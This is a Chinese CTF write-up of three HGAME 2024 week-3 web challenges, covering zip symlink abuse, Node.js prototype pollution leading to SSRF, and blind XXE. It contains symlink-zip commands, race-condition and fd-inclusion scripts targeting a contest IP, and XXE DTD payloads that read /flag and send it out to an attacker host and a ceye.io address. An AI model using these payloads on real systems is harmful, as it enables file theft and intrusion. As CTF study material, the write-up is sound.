HGAME-week3
HGAME-Week3
前言
web 2/3 太难了,真不会
Zero Link (二血
三道题中,代码最多,但代码内容简单,目标明确,思路清晰
但是最后脑子抽了,secret文件忘记有代码了,后来一想到就出了(我造,我的一血没了
几个路由,看完代码后很容易得到思路
/user获取Admin用户密码去登陆,登录成Admin后上传zip文件
但这做了限制
我们只需要键名不传username就行
只能上传zip文件
然后是解压代码
一看就知道是zip软链接的考点
通过软链接控制/app
然后这里脑子抽了挺多风,尝试往/app/views下写go命令执行的文件,但解压失败
想着把secret文件软连接到/flag,但也不行
最后想起了附件中有代码
直接覆盖secret文件内容为/flag
即可
ln -s /app link
zip --symlinks link.zip link
删掉link
mkdir link
cd link
echo "/flag" > secret
cd ..
zip -r link1.zip ./*
依次上传link.zip和link1.zip即可
然后访问/api/unzip
,/api/secret
即可
webvpn
其实思路也是比较明确的
登陆后,使用/user/info路由进行原型链污染,污染strategy
const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");
const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();
app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
session({
name: session_name,
secret: uuidv4().toString(),
secure: false,
resave: false,
saveUninitialized: true,
})
);
app.use(bodyParser.json());
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}
let url = (() => {
try {
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})();
if (!url) return;
if (!userStorage[username].strategy[url.hostname]) {
res.status(400);
res.end("your url is not allowed.");
}
try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1);
if (key.trim() !== session_name) {
filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;
});
const remote_res = await (() => {
if (req.method == "POST") {
return axios.post(url, req.body, {
headers: headers,
});
} else if (req.method == "GET") {
return axios.get(url, {
headers: headers,
});
} else {
res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {
res.status(500);
res.end("unreachable url.");
}
});
app.post("/user/login", (req, res) => {
const { username, password } = req.body;
if (
typeof username != "string" ||
typeof password != "string" ||
!username ||
!password
) {
res.status(400);
res.end("invalid username or password");
return;
}
if (!userStorage[username]) {
res.status(403);
res.end("invalid username or password");
return;
}
if (userStorage[username].password !== password) {
res.status(403);
res.end("invalid username or password");
return;
}
req.session.username = username;
res.send("login success");
});
// under development
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});
app.get("/home", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
return;
}
res.render("home", {
username: req.session.username,
strategy: ((list)=>{
var result = [];
for (var key in list) {
result.push({host: key, allow: list[key]});
}
return result;
})(userStorage[req.session.username].strategy),
});
});
// demo service behind webvpn
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});
app.listen(port, '0.0.0.0', () => {
console.log(`app listen on ${port}`);
});
这里也sb了一下,Content-Type没改为application/json,一直无法污染,我还以为思路有问题呢
不知道为什么,我明明开始就是这么做的,但是它一直显示unreachable url
然后我就污染了127.0.0.1:3000
、127.0.0.1:3000/flag
等等都不行
最后第二天再次尝试,只污染了个127.0.0.1
就行了
vidarbox
private String workdir = "file:///non_exists/";
private String suffix = ".xml";
@RequestMapping("/")
public String index() {
return "index.html";
}
@GetMapping({"/backdoor"})
@ResponseBody
public String hack(@RequestParam String fname) throws IOException, SAXException {
DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();
if (content != null && this.safeCheck(content)) {
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.parse(new InputSource(new ByteArrayInputStream(content)));
return "success";
} else {
return "error";
}
}
private boolean safeCheck(byte[] stream) throws IOException {
String content = new String(stream);
return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
!content.contains("doctype") && !content.contains("entity");
}
预期解
当时看WP时都看不懂,问了下出题人
file协议支持ftp,用python -m http.server
是不行的
**file协议对应有一个类似http的远程访问,就是ftp协议
,即文件传输协议
**。
所以这里我们要用ftp服务器
使用WP中给出的代码
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_anonymous("你的vps所开放的目录", perm="r")
handler = FTPHandler
handler.authorizer = authorizer
server = FTPServer(("0.0.0.0", 21), handler)
server.serve_forever()
接下来的说法可能具有主观性,因为问了出题人,他说WP没问题
但是我认为两个恶意文件其实是有问题的
首先这里是ftp的服务,要使用ftp协议进行请求(当然你要是为了evil.dtd单独开了一个python -m http.server
就当我没说
其次这里定义实体也是错误的,应该用ENTITY,而不是DOCTYPE (有可能是我狭隘了,没见过这种写法
我的恶意文件
payload.xml
<?xml version="1.0" encoding="UTF-16BE" ?>
<!DOCTYPE try [
<!ENTITY % int SYSTEM "ftp://vps/evil.dtd">
%int;
%all;
%send;
]>
生成文件
FileOutputStream fileOutputStream = new FileOutputStream("payload.xml");
fileOutputStream.write("<?xml version=\"1.0\" encoding=\"UTF-16BE\" ?>\n<!DOCTYPE try [\n<!ENTITY % int SYSTEM \"ftp://vps/evil.dtd\">\n%int;\n%all;\n%send;\n]>".getBytes(StandardCharsets.UTF_16BE));
fileOutputStream.close();
evil.dtd
<!ENTITY % payl SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps:7777/?%payl;'>">
官方WP
大家各自尝试吧,毕竟说的再多,只有自己试出来的才是自己相信的
非预期
hgame2024_week3 WP | 晨曦的个人小站 (chenxi9981.github.io)
太强了,Boogipop大佬的文章当时就瞄了几眼,只能说没有体悟(遇到这里联想不到那个做法啊
但晨曦师傅好敏锐的嗅觉,好啊
连file协议都一模一样
条件竞争上传脚本
import requests
import io
import threading
url = 'http://139.196.183.57:32517/' #引入url
def write():
while True:
response=requests.post(url,files={'file':('poc',open('new.xml','rb'))})
#print(response.text)
if __name__=='__main__':
evnet=threading.Event()
with requests.session() as session:
for i in range(10):
threading.Thread(target=write).start()
evnet.set()
包含文件描述符
import requests
import io
import time
import threading
while True:
for i in range(10, 35):
try:
#print(i)
url = f'http://139.196.183.57:32517/backdoor?fname=..%5cproc/self/fd/{i}%23' # 引入url
# print(r.cookies)
response = requests.get(url,timeout=0.5)
print(i,response.text)
if response.text == 'success' or response.text == 'error':
print(i,response.text)
time.sleep(10)
except:
pass
#print("no")
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://[ip]:[port]/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://kbqsag.ceye.io?file=%file;'>">